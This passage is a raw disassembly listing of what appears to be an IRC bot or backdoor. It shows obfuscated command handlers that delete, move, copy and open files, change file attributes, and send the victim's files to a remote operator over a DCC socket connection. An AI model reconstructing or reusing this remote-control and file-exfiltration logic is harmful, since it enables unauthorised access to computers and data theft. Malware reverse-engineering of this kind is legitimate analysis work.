

loc_40F697:				; CODE XREF: sub_40A9FE+4C28j
		push	dword ptr [ebx+4]
		push	offset aX43mxEgedu_ ; "x43Mx/eGeDu."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_40F714
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4277C0
		test	eax, eax
		pop	ecx
		jz	short loc_40F705
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4277D5
		test	eax, eax
		pop	ecx
		jz	short loc_40F6FE
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_42810F
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4277C0
		pop	ecx
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		test	eax, eax
		pop	ecx
		jnz	short loc_40F6F4
		mov	ebx, offset aSFolderDeleted ; "%s Folder deleted: %s"
		jmp	loc_40FAFD
; ---------------------------------------------------------------------------


loc_40F6F4:				; CODE XREF: sub_40A9FE+4CEAj
		mov	ebx, offset aSFailedToDelet ; "%s Failed to delete folder: %s"
		jmp	loc_40FAFD
; ---------------------------------------------------------------------------


loc_40F6FE:				; CODE XREF: sub_40A9FE+4CC7j
		mov	ebx, offset aSSIsNotAFolder ; "%s %s is	not a folder."
		jmp	short loc_40F70A
; ---------------------------------------------------------------------------


loc_40F705:				; CODE XREF: sub_40A9FE+4CB6j
		mov	ebx, offset aSSDoesnTExist_ ; "%s %s doesn't exist."


loc_40F70A:				; CODE XREF: sub_40A9FE+4D05j
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jmp	loc_40FAFD
; ---------------------------------------------------------------------------


loc_40F714:				; CODE XREF: sub_40A9FE+4CA5j
		push	dword ptr [ebx+4]
		push	offset aIsopf_pu4ty0 ; "IsoPF.PU4tY0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40F884
		cmp	[ebx+0Ch], eax
		jz	loc_40F89B
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_429B03
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_236C]
		push	eax
		call	sub_429B03
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+arg_34], edi
		jz	short loc_40F7C6
		cmp	[ebp+arg_38], 0
		mov	bl, 5Fh
		jz	short loc_40F762
		mov	bl, [ebp+arg_38]


loc_40F762:				; CODE XREF: sub_40A9FE+4D5Fj
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F793


loc_40F773:				; CODE XREF: sub_40A9FE+4D93j
		lea	eax, [ebp+edi+var_418]
		cmp	[eax], bl
		jnz	short loc_40F781
		mov	byte ptr [eax],	20h


loc_40F781:				; CODE XREF: sub_40A9FE+4D7Ej
		lea	eax, [ebp+var_418]
		inc	edi
		push	eax
		call	sub_4293A0
		cmp	edi, eax
		pop	ecx
		jb	short loc_40F773


loc_40F793:				; CODE XREF: sub_40A9FE+4D73j
		lea	eax, [ebp+var_236C]
		xor	edi, edi
		push	eax
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F7C6


loc_40F7A6:				; CODE XREF: sub_40A9FE+4DC6j
		lea	eax, [ebp+edi+var_236C]
		cmp	[eax], bl
		jnz	short loc_40F7B4
		mov	byte ptr [eax],	20h


loc_40F7B4:				; CODE XREF: sub_40A9FE+4DB1j
		lea	eax, [ebp+var_236C]
		inc	edi
		push	eax
		call	sub_4293A0
		cmp	edi, eax
		pop	ecx
		jb	short loc_40F7A6


loc_40F7C6:				; CODE XREF: sub_40A9FE+4D57j
					; sub_40A9FE+4DA6j
		lea	eax, [ebp+var_236C]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		call	dword_4370C4	; MoveFileA
		test	eax, eax
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jz	short loc_40F827
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSMovedSToS	; "%s Moved: \"%s\" to:	\"%s\""
		jnz	short loc_40F812
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F81C
		lea	eax, [ebp+var_236C]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40F812:				; CODE XREF: sub_40A9FE+4DEEj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F81C:				; CODE XREF: sub_40A9FE+4DF4j
		lea	eax, [ebp+var_236C]
		jmp	loc_40F9B2
; ---------------------------------------------------------------------------


loc_40F827:				; CODE XREF: sub_40A9FE+4DE3j
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		jnz	short loc_40F85E
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F868
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_236C]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToMoveS ; "%s Failed to move: \"%s\" to:	\"%s\",	error"...
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_40F85E:				; CODE XREF: sub_40A9FE+4E33j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F868:				; CODE XREF: sub_40A9FE+4E39j
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_236C]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToMoveS ; "%s Failed to move: \"%s\" to:	\"%s\",	error"...
		jmp	loc_414988
; ---------------------------------------------------------------------------


loc_40F884:				; CODE XREF: sub_40A9FE+4D22j
		push	dword ptr [ebx+4]
		push	offset a98mu_Nedn7_ ; "98mu./nEdn7."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40FA1C
		cmp	[ebx+0Ch], eax
		jnz	short loc_40F8B6


loc_40F89B:				; CODE XREF: sub_40A9FE+4D2Bj
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"


loc_40F8A0:				; CODE XREF: sub_40A9FE+4678j
		cmp	[ebp+arg_14], eax
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	loc_40D2BD
		cmp	[ebp+arg_18], eax
		jmp	loc_40D2AB
; ---------------------------------------------------------------------------


loc_40F8B6:				; CODE XREF: sub_40A9FE+4E9Bj
		push	dword ptr [ebx+8]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_429B03
		push	dword ptr [ebx+0Ch]
		lea	eax, [ebp+var_2574]
		push	eax
		call	sub_429B03
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+arg_34], edi
		jz	short loc_40F94D
		cmp	[ebp+arg_38], 0
		mov	bl, 5Fh
		jz	short loc_40F8E9
		mov	bl, [ebp+arg_38]


loc_40F8E9:				; CODE XREF: sub_40A9FE+4EE6j
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F91A


loc_40F8FA:				; CODE XREF: sub_40A9FE+4F1Aj
		lea	eax, [ebp+edi+var_418]
		cmp	[eax], bl
		jnz	short loc_40F908
		mov	byte ptr [eax],	20h


loc_40F908:				; CODE XREF: sub_40A9FE+4F05j
		lea	eax, [ebp+var_418]
		inc	edi
		push	eax
		call	sub_4293A0
		cmp	edi, eax
		pop	ecx
		jb	short loc_40F8FA


loc_40F91A:				; CODE XREF: sub_40A9FE+4EFAj
		lea	eax, [ebp+var_2574]
		xor	edi, edi
		push	eax
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F94D


loc_40F92D:				; CODE XREF: sub_40A9FE+4F4Dj
		lea	eax, [ebp+edi+var_2574]
		cmp	[eax], bl
		jnz	short loc_40F93B
		mov	byte ptr [eax],	20h


loc_40F93B:				; CODE XREF: sub_40A9FE+4F38j
		lea	eax, [ebp+var_2574]
		inc	edi
		push	eax
		call	sub_4293A0
		cmp	edi, eax
		pop	ecx
		jb	short loc_40F92D


loc_40F94D:				; CODE XREF: sub_40A9FE+4EDEj
					; sub_40A9FE+4F2Dj
		xor	eax, eax
		cmp	[ebp+arg_40], eax
		setz	al
		push	eax
		lea	eax, [ebp+var_2574]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		call	dword_437064	; CopyFileA
		test	eax, eax
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jz	short loc_40F9BF
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSCopiedSToS ; "%s Copied: \"%s\" to \"%s\""
		jnz	short loc_40F9A2
		cmp	[ebp+arg_18], 0
		jnz	short loc_40F9AC
		lea	eax, [ebp+var_2574]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40F9A2:				; CODE XREF: sub_40A9FE+4F7Ej
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40F9AC:				; CODE XREF: sub_40A9FE+4F84j
		lea	eax, [ebp+var_2574]


loc_40F9B2:				; CODE XREF: sub_40A9FE+4E24j
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		jmp	loc_40B6FD
; ---------------------------------------------------------------------------


loc_40F9BF:				; CODE XREF: sub_40A9FE+4F73j
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		jnz	short loc_40F9F6
		cmp	[ebp+arg_18], 0
		jnz	short loc_40FA00
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_2574]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToCopyS ; "%s Failed to copy: \"%s\" to \"%s\",error: "...
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_40F9F6:				; CODE XREF: sub_40A9FE+4FCBj
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40FA00:				; CODE XREF: sub_40A9FE+4FD1j
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_2574]
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToCopyS ; "%s Failed to copy: \"%s\" to \"%s\",error: "...
		jmp	loc_414988
; ---------------------------------------------------------------------------


loc_40FA1C:				; CODE XREF: sub_40A9FE+4E92j
		push	dword ptr [ebx+4]
		push	offset aVdirq_mjcpx1 ; "vDIrQ.MJcpx1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40FAC7
		cmp	[ebp+arg_44], eax
		jz	short loc_40FA37
		or	[ebp+arg_C], 4


loc_40FA37:				; CODE XREF: sub_40A9FE+5033j
		cmp	[ebp+arg_48], eax
		jz	short loc_40FA40
		or	[ebp+arg_C], 2


loc_40FA40:				; CODE XREF: sub_40A9FE+503Cj
		cmp	[ebp+arg_4C], eax
		jz	short loc_40FA49
		or	[ebp+arg_C], 1


loc_40FA49:				; CODE XREF: sub_40A9FE+5045j
		cmp	[ebp+arg_50], eax
		jz	short loc_40FA55
		mov	[ebp+arg_C], 80h


loc_40FA55:				; CODE XREF: sub_40A9FE+504Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_418]
		push	eax
		call	dword_437068	; SetFileAttributesA
		test	eax, eax
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jz	short loc_40FA78
		mov	ebx, offset aSAttributesSet ; "%s Attributes Set to: \"%s\"."
		jmp	loc_40FAFD
; ---------------------------------------------------------------------------


loc_40FA78:				; CODE XREF: sub_40A9FE+506Ej
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		jnz	short loc_40FAA8
		cmp	[ebp+arg_18], 0
		jnz	short loc_40FAB2
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToSetAt ; "%s Failed to set Attributes to: \"%s\",er"...
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40FAA8:				; CODE XREF: sub_40A9FE+5084j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40FAB2:				; CODE XREF: sub_40A9FE+508Aj
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToSetAt ; "%s Failed to set Attributes to: \"%s\",er"...
		jmp	loc_41491D
; ---------------------------------------------------------------------------


loc_40FAC7:				; CODE XREF: sub_40A9FE+502Aj
		push	dword ptr [ebx+4]
		push	offset aSad25HpR91 ; "Sad25/hP/R91"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_414995
		push	eax
		push	eax
		lea	ecx, [ebp+var_418]
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	eax
		call	dword_456E74	; ShellExecuteA
		test	eax, eax
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jz	short loc_40FB35
		mov	ebx, offset aSOpenedS_ ; "%s Opened: \"%s\"."


loc_40FAFD:				; CODE XREF: sub_40A9FE+4C17j
					; sub_40A9FE+4C45j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_40FB20
		cmp	[ebp+arg_18], 0
		jnz	short loc_40FB2A
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40FB20:				; CODE XREF: sub_40A9FE+5103j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40FB2A:				; CODE XREF: sub_40A9FE+5109j
		lea	eax, [ebp+var_418]
		jmp	loc_40B0F9
; ---------------------------------------------------------------------------


loc_40FB35:				; CODE XREF: sub_40A9FE+50F8j
		cmp	[ebp+arg_14], 0
		mov	ebx, dword_437170
		jnz	short loc_40FB65
		cmp	[ebp+arg_18], 0
		jnz	short loc_40FB6F
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToOpenS ; "%s Failed to open: \"%s\",error: <%d>"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40FB65:				; CODE XREF: sub_40A9FE+5141j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40FB6F:				; CODE XREF: sub_40A9FE+5147j
		call	ebx ; dword_437170
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		push	edi
		push	offset aSFailedToOpenS ; "%s Failed to open: \"%s\",error: <%d>"
		jmp	loc_41491D
; ---------------------------------------------------------------------------


loc_40FB84:				; CODE XREF: sub_40A9FE+49A1j
					; sub_40A9FE+49ACj
		cmp	[ebp+arg_14], ecx
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		mov	edi, offset aLmecq0ygcok ; "lmecq0yGcoK/"
		jnz	loc_40D2BD
		cmp	[ebp+arg_18], ecx
		jmp	loc_40D2AB
; ---------------------------------------------------------------------------


loc_40FB9F:				; CODE XREF: sub_40A9FE+4996j
		push	dword ptr [ebx]
		push	offset aHpmch0pbq800 ; "HPmCH0PbQ800"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_40FF90
		xor	edi, edi
		cmp	[ebx+4], edi
		jnz	short loc_40FBF3
		cmp	[ebp+arg_14], edi
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_40FBDF
		cmp	[ebp+arg_18], edi
		jnz	short loc_40FBE8
		push	ebx
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		push	offset aSS_1	; "%s %s"
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_40FBDF:				; CODE XREF: sub_40A9FE+51C1j
		cmp	[ebp+arg_18], edi
		jz	loc_414995


loc_40FBE8:				; CODE XREF: sub_40A9FE+51C6j
		push	ebx
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		jmp	loc_41478C
; ---------------------------------------------------------------------------


loc_40FBF3:				; CODE XREF: sub_40A9FE+51B7j
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_14]
		mov	[ebp+var_21C0],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1F98],	eax
		cmp	eax, edi
		mov	[ebp+var_1F94],	ecx
		lea	eax, [ebp+var_21B8]
		jnz	short loc_40FC1D
		push	dword ptr [esi+0Ch]
		jmp	short loc_40FC1F
; ---------------------------------------------------------------------------


loc_40FC1D:				; CODE XREF: sub_40A9FE+5218j
		push	dword ptr [esi]


loc_40FC1F:				; CODE XREF: sub_40A9FE+521Dj
		push	eax
		call	dword_4370B4	; lstrcpyA
		push	80h
		lea	eax, [ebp+var_2020]
		push	dword ptr [esi]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_2124]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 18h
		lea	eax, [ebp+var_2124]
		mov	[ebp+var_48], edi
		mov	[ebp+arg_8], edi
		push	edi
		push	edi
		push	3
		push	edi
		push	1
		push	80000000h
		push	eax
		call	dword_43705C	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_68], eax
		jnz	short loc_40FC95
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		lea	eax, [ebp+var_21B8]
		push	offset aSNoFile	; "%s No file"
		push	eax
		push	[ebp+arg_10]
		call	sub_41CE4A
		jmp	loc_40BA6A
; ---------------------------------------------------------------------------


loc_40FC95:				; CODE XREF: sub_40A9FE+5277j
		push	edi
		push	[ebp+arg_68]
		call	dword_4370C0	; GetFileSize
		push	edi
		push	1
		push	2
		mov	ebx, eax
		call	dword_4372BC	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_C], eax
		jnz	short loc_40FCE1


loc_40FCB4:				; CODE XREF: sub_40A9FE+537Ej
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		push	offset aSSD	; "%s %s <%d>"


loc_40FCCA:				; CODE XREF: sub_40A9FE+534Ej
		lea	eax, [ebp+var_21B8]
		push	eax
		push	[ebp+arg_10]
		call	sub_41CE4A


loc_40FCD9:				; CODE XREF: sub_40A9FE+68FAj
		add	esp, 18h
		jmp	loc_412FED
; ---------------------------------------------------------------------------


loc_40FCE1:				; CODE XREF: sub_40A9FE+52B4j
		push	10h
		lea	eax, [ebp+var_90]
		push	edi
		push	eax
		call	sub_429760
		mov	esi, 400h
		push	0FA00h
		push	esi
		mov	[ebp+var_90], 2
		call	sub_41E415
		add	esp, 14h
		push	eax
		call	dword_4372C4	; ntohs
		mov	word ptr [ebp+var_8E], ax
		lea	eax, [ebp+var_90]
		push	10h
		push	eax
		push	[ebp+arg_C]
		mov	[ebp+var_8E+2],	edi
		call	dword_437298	; bind
		test	eax, eax
		jz	short loc_40FD51
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		push	offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		push	offset aSBindSD	; "%s Bind %s <%d>"
		jmp	loc_40FCCA
; ---------------------------------------------------------------------------


loc_40FD51:				; CODE XREF: sub_40A9FE+5336j
		push	10h
		pop	eax
		mov	[ebp+var_70], eax
		mov	[ebp+var_50], eax
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+arg_C]
		call	dword_43729C	; getsockname
		push	1
		push	[ebp+arg_C]
		call	dword_4372A0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FCB4
		push	offset dword_457CF8
		call	dword_4372A4	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_2124]
		push	eax
		lea	eax, [ebp+var_2020]
		push	offset aSendingYouS ; "Sending you %s"
		push	eax
		push	[ebp+arg_10]
		call	sub_41CDD4
		lea	eax, [ebp+var_2124]
		push	offset dword_457CF8
		push	eax
		lea	eax, [ebp+var_2020]
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		push	eax
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 30h
		push	ebx
		push	[ebp+var_8E]
		call	dword_4372A8	; ntohs
		movzx	eax, ax
		push	eax
		push	[ebp+var_44]
		call	dword_4372F0	; ntohl
		push	eax
		lea	eax, [ebp+var_2124]
		push	eax
		lea	eax, [ebp+var_2020]
		push	offset aSDDI	; "%s %d %d %i"
		push	eax
		push	[ebp+arg_10]
		call	sub_41CEC0
		mov	eax, [ebp+arg_C]
		add	esp, 1Ch
		mov	[ebp+var_5BBC],	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	edi
		lea	eax, [ebp+var_5BC0]
		push	edi
		push	eax
		push	edi
		mov	[ebp+var_98], 2Dh
		mov	[ebp+var_94], edi
		mov	[ebp+var_5BC0],	1
		call	dword_4372B0	; select
		test	eax, eax
		jg	short loc_40FE8D
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		lea	eax, [ebp+var_21B8]
		push	offset aSTimedOutClosi ; "%s Timed Out,	closing	connection."
		push	eax
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h
		push	[ebp+arg_68]
		call	dword_437044	; CloseHandle
		push	[ebp+arg_C]
		mov	esi, dword_4372D8
		call	esi ; dword_4372D8
		push	edi
		call	esi ; dword_4372D8
		jmp	loc_412FED
; ---------------------------------------------------------------------------


loc_40FE8D:				; CODE XREF: sub_40A9FE+5455j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_CF4]
		push	eax
		push	[ebp+arg_C]
		call	dword_4372B4	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_40FF4B
		push	[ebp+arg_C]
		call	dword_4372D8	; closesocket
		mov	[ebp+arg_4], ebx


loc_40FEB9:				; CODE XREF: sub_40A9FE+5547j
		push	esi
		lea	eax, [ebp+var_7180]
		push	edi
		push	eax
		mov	[ebp+arg_64], esi
		call	sub_429760
		add	esp, 0Ch
		cmp	[ebp+arg_4], esi
		jnb	short loc_40FED8
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_64], eax


loc_40FED8:				; CODE XREF: sub_40A9FE+54D2j
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_68]
		call	dword_4370BC	; SetFilePointer
		lea	eax, [ebp+var_48]
		push	edi
		push	eax
		lea	eax, [ebp+var_7180]
		push	[ebp+arg_64]
		push	eax
		push	[ebp+arg_68]
		call	dword_437084	; ReadFile
		push	edi
		lea	eax, [ebp+var_7180]
		push	[ebp+arg_64]
		push	eax
		push	[ebp+var_4]
		call	dword_4372D0	; send
		mov	[ebp+arg_64], eax
		push	edi
		lea	eax, [ebp+var_7180]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	dword_4372D4	; recv
		mov	ecx, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		add	ecx, [ebp+arg_64]
		sub	[ebp+arg_4], ecx
		mov	[ebp+arg_8], ecx
		cmp	[ebp+arg_4], 1
		jb	short loc_40FF4B
		cmp	[ebp+arg_64], 1
		jb	short loc_40FF4B
		cmp	eax, 1
		jnb	loc_40FEB9


loc_40FF4B:				; CODE XREF: sub_40A9FE+54A9j
					; sub_40A9FE+553Cj ...
		mov	eax, [ebp+arg_8]
		cdq
		idiv	esi
		shr	ebx, 0Ah
		push	ebx
		push	eax
		push	offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
		lea	eax, [ebp+var_21B8]
		push	offset aSConnectionClo ; "%s Connection	closed:	(%i/%ikB sent)."
		push	eax
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h
		push	[ebp+arg_68]
		call	dword_437044	; CloseHandle
		push	[ebp+arg_C]
		mov	esi, dword_4372D8
		call	esi ; dword_4372D8
		push	[ebp+var_4]
		call	esi ; dword_4372D8
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_40FF90:				; CODE XREF: sub_40A9FE+51ACj
		push	dword ptr [ebx]
		push	offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C."
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_410189
		cmp	[ebx+4], eax
		jz	loc_41017F
		cmp	[ebx+8], eax
		jz	loc_41017F
		push	11h
		call	sub_42381F
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_410006
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_40FFEE
		cmp	[ebp+arg_18], 0
		jnz	short loc_40FFF8
		push	eax
		push	ebx
		push	offset aHuudgYqzdz ; "HuuDG/YQZDz/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_40FFEE:				; CODE XREF: sub_40A9FE+55D2j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_40FFF8:				; CODE XREF: sub_40A9FE+55D8j
		push	[ebp+arg_C]
		push	ebx


loc_40FFFC:				; CODE XREF: sub_40A9FE+5715j
		push	offset aHuudgYqzdz ; "HuuDG/YQZDz/"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_410006:				; CODE XREF: sub_40A9FE+55C2j
		mov	eax, [ebp+arg_10]
		mov	ecx, [ebp+arg_20]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_674], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_670], eax
		mov	[ebp+var_678], ecx
		test	eax, eax
		lea	eax, [ebp+var_724]
		jnz	short loc_410039
		push	dword ptr [esi+0Ch]
		jmp	short loc_41003B
; ---------------------------------------------------------------------------


loc_410039:				; CODE XREF: sub_40A9FE+5634j
		push	dword ptr [esi]


loc_41003B:				; CODE XREF: sub_40A9FE+5639j
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebx+4]
		xor	ecx, ecx
		mov	[ebp+var_6A0], eax
		mov	eax, [ebx+8]
		mov	[ebp+var_69C], eax
		xor	eax, eax


loc_410058:				; DATA XREF: .text:off_43BCBCo
		mov	[ebp+var_694], eax
		cmp	[ebx+0Ch], eax
		mov	edi, offset aHuudgYqzdz	; "HuuDG/YQZDz/"
		setnz	cl
		mov	[ebp+var_690], ecx
		xor	ecx, ecx
		cmp	[ebx+10h], eax
		setnz	cl
		mov	[ebp+var_68C], ecx
		push	dword ptr [ebx+8]
		mov	eax, [ebx+4]
		push	eax
		push	offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
		push	edi
		push	offset aSSS_	; "%s %s %s."
		push	11h
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_6A4], eax
		lea	eax, [ebp+arg_0]
		lea	ecx, [ebp+var_728]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_4182BA
		push	eax
		push	eax
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_6A4]
		imul	ecx, 2724h
		test	eax, eax
		mov	dword_46D72C[ecx], eax
		jnz	short loc_410120
		cmp	[ebp+arg_14], eax
		mov	ebx, dword_437170
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_410101
		cmp	[ebp+arg_18], eax
		jnz	short loc_41010B
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aHuudgYqzdz ; "HuuDG/YQZDz/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_410101:				; CODE XREF: sub_40A9FE+56E0j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_41010B:				; CODE XREF: sub_40A9FE+56E5j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_40FFFC
; ---------------------------------------------------------------------------


loc_410118:				; CODE XREF: sub_40A9FE+5729j
		push	32h
		call	dword_437190	; Sleep


loc_410120:				; CODE XREF: sub_40A9FE+56D0j
		cmp	[ebp+var_66C], 0
		jz	short loc_410118
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	short loc_41015E
		cmp	[ebp+arg_18], eax
		jnz	short loc_410168
		cmp	[ebp+arg_20], eax
		jz	loc_414995
		push	dword ptr [ebx+8]
		mov	eax, [ebx+4]
		push	eax
		push	offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
		push	edi
		push	offset aSSS_	; "%s %s %s."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 1Ch


loc_41015E:				; CODE XREF: sub_40A9FE+5730j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_410168:				; CODE XREF: sub_40A9FE+5735j
		push	dword ptr [ebx+8]
		mov	eax, [ebx+4]
		push	eax
		push	offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
		push	edi
